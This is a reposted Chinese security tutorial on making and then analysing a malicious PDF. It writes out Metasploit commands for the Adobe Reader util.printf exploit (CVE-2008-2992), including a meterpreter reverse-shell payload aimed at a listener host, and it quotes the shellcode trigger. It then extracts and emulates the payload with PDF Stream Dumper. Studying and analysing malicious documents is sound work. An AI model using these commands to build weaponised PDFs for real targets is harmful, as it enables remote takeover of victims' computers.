转载

如何从受感染的PDF文件中提取Payload?

本文仅作为研究参考!

受感染的PDF文件近乎是拥有特权般影响用户,因为这个文档格式十分普遍几乎人人都在使用。此外,其可利用许多的阅读器漏洞隐形且姿势十分优雅的加载恶意软件。

在本文,我将向大家展示制作一个使用自定义Shellcode恶意PDF,触发漏洞执行payload是有多么的简单。当然还会分析恶意PDF,来学习如何存储payload,以及如何提起它

PDF格式

PDF是由Adobe公司定义的面向对象的格式,这种格式描述了一种文档组织,以及保存依赖关系所需要的文档(字体,图片…)这些对象作为数据流,大部分时间编码或者被压缩,存储在文档中。下面是一份经典PDF文件的概述图,如需更多了解可以访问 Adobe指南

如何从受感染的PDF文件中提取Payload?

创造受感染PDF

接下来我们会使用metasploit创建一份虚假PDF文件,其中包含一个exploit,以及一个自定义payload(代码执行)。这个exploit只针对一个特殊版本的Adobe Reader,所以我们需要找到这个版本的Adobe Reader阅读器(感谢这家神器的站点 oldapps ),接着将其安装到目标机器上。

首先,返回正题制作PDF文件。制作这个受感染PDF只需在机器上打开计算器(calc.exe),打开一个metasploit控制台和类型:

use exploit/windows/fileformat/adobe_utilprintf set FILENAME malicious.pdf set PAYLOAD windows/exec set CMD calc.exe show options exploit

如何从受感染的PDF文件中提取Payload?

将刚创建的文件(/home/osboxes/.msf4/local/malicious.pdf)复制到一个网盘上,接着你需要让目标机器去下载。

执行受感染的PDF

在目标机器下载并安装一个存在漏洞的Adobe Reader版本,metasploit提示我们版本应该低于8.1.2,于是我选择安装 8.1.1版本

安装完成后执行malicious.pdf文件,你应该可以看到Adobe Reader进程打开了计算器,这就是exploit

如何从受感染的PDF文件中提取Payload?

我制作的另一个PDF在稍微修改了下payload

set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.29 set LPORT 4455

以下为结果,Adobe Reader存在一个后门(反向Shell)

如何从受感染的PDF文件中提取Payload?

分析受感染PDF

玩够了,接着我们就来分析下恶意PDF中到底有些什么,并尝试提取其中的恶意payload(仍然是calc.exe)。

首先我们需要一款名为 PDF Stream Dumper 的工具,将恶意PDF加载进去。

如何从受感染的PDF文件中提取Payload?

使用“Exploit Scan”菜单检测到exploit就可以开始了。

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6

事实上,在stream 6中隐藏了一个exploit。

从头开始:当在PDF中搜寻exploit,我们大部分时间遇到的都是由一个JavaScript创建的heap spray攻击。将payload push到heap上,一旦触发漏洞就执行。

heap spray攻击: Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行

如果你打开Stream 1,你可以看到:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

接着将其移动到stream 5:

/Type/Action/S/JavaScript/JS 6 0 R

执行位于stream 6的JavaScript,这个数据流显示的纯JavaScript,是时候打开“Javascript_UI”菜单了。我们立刻获得一大串16进制编码,并将一个变量push到heap spray,以下为我们的payload:

如何从受感染的PDF文件中提取Payload?

幸运的是,我们有工具可以操作并了解其都做了什么。选择payload(引号中的内容),打开“Shellcode_analysis”菜单,接着选择“scDbg – LibEmu Emulation”。你可以从新弹窗的窗口中看到下面内容

如何从受感染的PDF文件中提取Payload?

LibEmu是一个可以模拟处理器的库,它可以将汇编代码行为信息告知你,单击“Launch”按钮你就知道了:

如何从受感染的PDF文件中提取Payload?

在这里,你可以清楚的看到calc.exe窗口弹出后立马退出。

接着,我们对另外一个恶意PDF文件做同样的事

如何从受感染的PDF文件中提取Payload?

Shellcode加载库需要manipulate接口(ws2_32.dll),并尝试连接C&C.

对于exploit本身我没有说的太细,其位于JavaScript代码的末尾,其是利用printf函数的一个缓冲区溢出来执行任意代码,下面为我们的heap-sprayed shellcode:

util.printf("%45000.45000f", 0);

参考链接

– http://www.sans.org/reading-room/whitepapers/malicious/owned-malicious-pdf-analysis-33443

–  http://www.oldapps.com/adobe_reader.php

–  http://contagiodump.blogspot.fr/2010/08/malicious-documents-archive-for.html

–  http://contagiodump.blogspot.fr/2013/03/16800-clean-and-11960-malicious-files.html

–  http://eternal-todo.com/blog/cve-2011-2462-exploit-analysis-peepdf

–  http://blog.9bplus.com/analyzing-cve-2011-2462/

–  https://www.fireeye.com/blog/threat-research/2012/07/analysis-of-a-different-pdf-malware.html

–  http://resources.infosecinstitute.com/analyzing-malicious-pdf/

* 参考来源: adlice ,编译/鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...